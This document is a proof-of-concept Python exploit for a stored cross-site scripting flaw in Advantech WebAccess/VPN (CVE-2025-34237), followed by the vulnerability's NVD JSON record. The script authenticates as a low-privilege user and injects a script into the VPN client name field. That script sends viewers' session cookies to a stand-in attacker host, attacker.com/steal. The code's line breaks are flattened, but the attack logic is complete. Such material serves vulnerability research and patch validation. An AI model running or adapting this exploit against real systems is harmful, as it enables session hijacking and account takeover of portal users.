CVE-2025-34237

import requests import json # CVE-2025-34237 PoC - Stored XSS in Advantech WebAccess/VPN # Target: StandaloneVpnClientsController.addStandaloneVpnClientAction() TARGET_URL = "http://target-website.com/WebAccessVPN" ATTACKER_PAYLOAD = '<script>document.location="https://attacker.com/steal?cookie="+document.cookie</script>' def exploit_stored_xss(): """ This PoC demonstrates the stored XSS vulnerability in Advantech WebAccess/VPN. The vulnerability allows attackers to inject arbitrary JavaScript through the VPN client configuration fields, which is then stored and executed when other users view the affected page. """ # Step 1: Authenticate with low-privilege account session = requests.Session() login_data = { 'username': 'attacker_account', 'password': 'attacker_password' } session.post(f"{TARGET_URL}/login", data=login_data) # Step 2: Inject malicious XSS payload via VPN client add endpoint vpn_client_data = { 'clientName': ATTACKER_PAYLOAD, 'clientIP': '192.168.1.100', 'description': 'XSS Injection Test' } response = session.post( f"{TARGET_URL}/StandaloneVpnClientsController/addStandaloneVpnClientAction", data=vpn_client_data ) # Step 3: Verify the payload is stored and reflected if response.status_code == 200: print("[+] XSS payload successfully injected!") print("[+] Payload will be triggered when users view VPN client list") else: print("[-] Exploitation failed") if __name__ == "__main__": exploit_stored_xss()

{"cve": {"id": "CVE-2025-34237", "sourceIdentifier": "[email protected]", "published": "2025-11-06T20:15:47.363", "lastModified": "2025-11-28T16:44:34.803", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Advantech WebAccess/VPN versions prior to 1.1.5 contain a stored cross-site scripting (XSS) vulnerability via StandaloneVpnClientsController.addStandaloneVpnClientAction(). Insufficient validation or escaping of user-supplied input may allow an attacker to inject and execute arbitrary script in the context of a victim's browser."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:advantech:webaccess\\/vpn:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.1.5", "matchCriteriaId": "FFBAB4BE-F708-4A56-A192-BC46C45F84D6"}]}]}], "references": [{"url": "https://icr.advantech.com/download/software", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://icr.advantech.com/support/router-models/download/511/sa-2025-01-vpn-portal-2025-11-06.pdf", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://www.vulncheck.com/advisories/advantech-webaccess-vpn-stored-xss-via-standalonevpnclientscontroller", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}